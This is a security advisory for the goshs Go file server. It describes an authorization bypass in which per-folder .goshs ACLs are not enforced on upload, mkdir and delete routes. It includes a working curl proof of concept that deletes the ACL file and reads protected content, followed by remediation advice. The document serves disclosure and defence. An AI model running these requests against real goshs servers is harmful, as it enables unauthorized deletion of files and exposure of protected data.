GHSA-wvhv-qcqf-f3cx goshs has a file-based ACL authorization bypass in goshs state-changing routes

• Go github.com/patrickhener/goshs: <= 1.1.4 (no fix yet)

Summary goshs enforces the documented per-folder `.goshs` ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with `PUT`, upload files with multipart `POST /upload`, create directories with `?mkdir`, and delete files with `?delete` inside a `.goshs`-protected directory. By deleting the `.goshs` file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. Details The project README explicitly documents file-based ACLs as a security feature: • `README.md:59` - "You can place a .goshs in any folder to apply custom ACLs" • `README.md:61` - "You can apply custom basic auth per folder" The read/list path correctly enforces `.goshs`: • `httpserver/filebased.go:10-49` loads `.goshs` • `httpserver/handler.go:68-91` calls `findSpecialFile()` for directories • `httpserver/handler.go:94-101` calls `findSpecialFile()` for files • `httpserver/handler.go:285-305` applies custom auth • `httpserver/handler.go:545-565` enforces folder auth during directory rendering • `httpserver/handler.go:590-630` enforces file auth and blocked entries during file serving However, the state-changing routes bypass this logic entirely: • `httpserver/server.go:94-100` routes multipart `POST /.../upload` directly to `upload()` • `httpserver/server.go:105-109` routes `PUT` directly to `put()` • `httpserver/handler.go:119-123` dispatches `?mkdir` directly to `handleMkdir()` • `httpserver/handler.go:181-187` dispatches `?delete` directly to `deleteFile()` • `httpserver/updown.go:18-60` writes files for `PUT` without checking `.goshs` • `httpserver/updown.go:63-165` writes files for multipart upload without checking `.goshs` • `httpserver/handler.go:679-698` deletes files with `os.RemoveAll()` without checking `.goshs` • `httpserver/handler.go:901-937` creates directories with `os.MkdirAll()` without checking `.goshs` This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because `.goshs` itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier. PoC Environment used for verification: • Repository/module: `github.com/patrickhener/goshs` • Verified vulnerable tag: `v2.0.0-beta.3` • Also present in the `v1.1.4` line based on code inspection • Local host: `127.0.0.1:18091` Build and setup: ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3' go build -o /tmp/goshs_acl_verify/goshs ./ rm -rf /tmp/goshs_acl_verify/root mkdir -p /tmp/goshs_acl_verify/root/protected cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt /tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091 ``` In a second terminal: ```bash The protected folder initially requires auth curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/' Unauthenticated write into the protected folder succeeds curl -s -o /dev/null -w '%{http_code}\n' -X PUT \ --data-binary 'injected via PUT' \ 'http://127.0.0.1:18091/protected/put-created.txt' Unauthenticated deletion of the ACL file succeeds curl -s -o /dev/null -w '%{http_code}\n' \ 'http://127.0.0.1:18091/protected/.goshs?delete' The previously protected file is now publicly accessible curl -s -o /dev/null -w '%{http_code}\n' \ 'http://127.0.0.1:18091/protected/secret.txt' curl -s 'http://127.0.0.1:18091/protected/secret.txt' ``` Expected results: ```text 401 200 200 200 top secret ``` Note: if using `zsh`, the URL containing `?delete` must be quoted, or the shell will treat `?` as a wildcard and the request will not be sent. PoC Video for reference: https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7 Impact This is an authorization bypass affecting deployments that rely on `.goshs` for per-folder protection. A remote unauthenticated attacker can: • create or overwrite files inside a folder that should require authentication • create directories inside the protected folder • delete arbitrary files reachable through the vulnerable route inside that protected folder • delete the `.goshs` policy file itself • read previously protected files once the policy file has been removed In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content. Remediation 1. Enforce `.goshs` authorization checks for all state-changing operations, not just read/list flows. Before `PUT`, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies `acl.Auth`. 2. Protect `.goshs` as a special file in mutation handlers. The application already prevents serving `.goshs`; it should also reject deletion, overwrite, or replacement of `.goshs` through HTTP routes unless the request is properly authorized. 3. Add regression tests covering protected folders for every mutation path. The test suite should verify that `PUT`, `POST /upload`, `?delete`, and `?mkdir` all fail without valid credentials when a `.goshs` file is present.